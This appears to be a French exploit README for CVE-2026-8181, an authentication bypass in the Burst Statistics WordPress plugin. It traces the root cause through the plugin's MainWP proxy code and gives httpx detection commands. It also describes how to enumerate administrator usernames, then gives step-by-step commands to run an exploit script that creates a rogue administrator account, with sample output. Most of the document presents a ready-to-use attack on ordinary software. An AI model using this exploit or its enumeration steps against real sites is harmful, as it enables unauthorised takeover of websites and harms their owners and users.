Cela permet à des attaquants non authentifiés connaissant un nom d'utilisateur administrateur valide d'usurper l'identité de cet administrateur pendant la durée de toute requête REST API, y compris les endpoints du cœur de WordPress tels que POST /wp-json/wp/v2/users. Les identifiants de l'administrateur existant ne sont jamais compromis, mais l'attaquant obtient ses privilèges pendant assez longtemps pour créer un tout nouveau compte administrateur.

🔬 Analyse de la cause racine

La chaîne de vulnérabilité est la suivante :

1. includes/class-burst.php:41 -> Le plugin enregistre init() sur plugins_loaded à la priorité 9, qui exécute bootstrap() et appelle has_admin_access() pour chaque requête (REST incluse).

2. includes/Traits/trait-admin-helper.php:202 -> Lorsque la requête porte l'en-tête X-BurstMainWP: 1, has_admin_access() instancie MainWP_Proxy et délègue l'authentification à is_mainwp_authenticated().

3. includes/Frontend/class-mainwp-proxy.php:314 -> La méthode lit l'en-tête Authorization, décode les identifiants Basic et transmet le username / password fournis par l'attaquant à wp_authenticate_application_password() du cœur de WordPress.

4. includes/Frontend/class-mainwp-proxy.php:328-329 -> La valeur de retour n'est vérifiée qu'avec is_wp_error(). Le cœur de WordPress renvoie $input_user inchangé (ici null) lorsque les mots de passe d'application (Application Passwords) ne sont pas utilisés ou lorsque la requête n'est pas marquée comme requête API. À la priorité 9 de plugins_loaded, l'API REST n'a pas encore défini le filtre application_password_is_api_request sur true, donc la seconde condition est toujours remplie lorsque le code vulnérable s'exécute — et null n'est pas un WP_Error, donc le contrôle est franchi.

5. includes/Frontend/class-mainwp-proxy.php:336 -> wp_set_current_user( $user->ID ) est appelé avec l'utilisateur recherché uniquement à partir du nom d'utilisateur fourni par l'attaquant, définissant l'utilisateur authentifié globalement pour toute la requête.

Une seule requête HTTP avec un mot de passe factice suffit donc pour usurper l'identité de n'importe quel administrateur au niveau de l'API REST du cœur de WordPress.

🔎 Détection de l'installation du plugin

1. Plugin actif — le HTML de la page d'accueil ne référence ses ressources que lorsque le plugin est mis en file d'attente (enqueued) :

   root@kitploit:~

   echo http://127.0.0.1:8000 | httpx -silent -mr '/wp-content/plugins/burst-statistics/'
   

2. Version — readme.txt est servi statiquement et expose la version installée (vulnérable : 3.4.0–3.4.1.1, corrigée : 3.4.2+) :

   root@kitploit:~

   echo http://127.0.0.1:8000 | httpx -silent -path /wp-content/plugins/burst-statistics/readme.txt -er 'Stable tag:\s*[0-9][0-9a-zA-Z.\-]*'
   

Le template CVE-2026-8181.yaml nuclei inclus automatise les deux vérifications et la comparaison des versions :

🎯 Exploitation

Une fois qu'une version vulnérable du plugin a été détectée, l'exploitation nécessite de connaître un nom d'utilisateur administrateur valide. L'API REST de WordPress les divulgue sur la plupart des installations via l'endpoint public des utilisateurs :

Lorsque cet endpoint est verrouillé (par exemple par Disable REST API ou Stop User Enumeration), l'astuce de l'archive d'auteur (/?author=N) divulgue généralement encore le nom d'utilisateur via la redirection vers /author/<username>/.

Avec un nom d'utilisateur valide en main, l'exploit crée un nouveau compte administrateur en une seule requête :

0. Installer les dépendances Python :

   root@kitploit:~

   python3 -m venv venv
   venv/bin/pip install -r requirements.txt
   

1. Exécuter l'exploit contre la cible, en fournissant un nom d'utilisateur administrateur connu avec -u :

   root@kitploit:~

   venv/bin/python3 CVE-2026-8181.py -t http://127.0.0.1:8000 -u admin
   

   Exemple de sortie :

   root@kitploit:~

   [2026-05-16] [12:20:20] [info] [config] Impersonating admin='admin', will create new admin 'pwn_322a4903' / 'kS8D^2A^P^%UtWyuUS3p8%64' ([email protected]).
   [2026-05-16] [12:20:21] [success] [http://127.0.0.1:8000] Authentication bypass successful — new administrator created: username='pwn_322a4903' password='kS8D^2A^P^%UtWyuUS3p8%64'
   

2. Se connecter à /wp-admin/ avec le compte administrateur nouvellement créé.

⚠️ Limitations

Le contournement ne se déclenche que si l'en-tête Authorization atteint PHP via $_SERVER['HTTP_AUTHORIZATION']. Sur Apache + mod_php avec des permaliens simples (la configuration par défaut de WordPress), aucun .htaccess n'est généré et l'en-tête est silencieusement supprimé — l'exploit ne peut pas aboutir.

Passer à n'importe quel permalien non simple dans Settings → Permalinks amène WordPress 5.6+ à écrire la directive RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] dans .htaccess, rétablissant le transfert. Nginx + PHP-FPM et LiteSpeed transfèrent Authorization par défaut, quel que soit le type de permaliens. Les permaliens personnalisés (pretty permalinks) étant la norme SEO en production, cette vulnérabilité est évaluée à CVSS 9.8 sans authentification.

L'exploit essaie d'abord /wp-json/wp/v2/users, puis retombe sur /index.php?rest_route=/wp/v2/users ; le routage des endpoints n'est donc jamais le facteur bloquant — seul le transfert de l'en-tête l'est.

📚 Références

• https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
• https://www.wordfence.com/threat-intel/vulnerabilities/id/8ca830d6-3d3c-4026-85cd-8447b8a568d3
• https://www.cve.org/CVERecord?id=CVE-2026-8181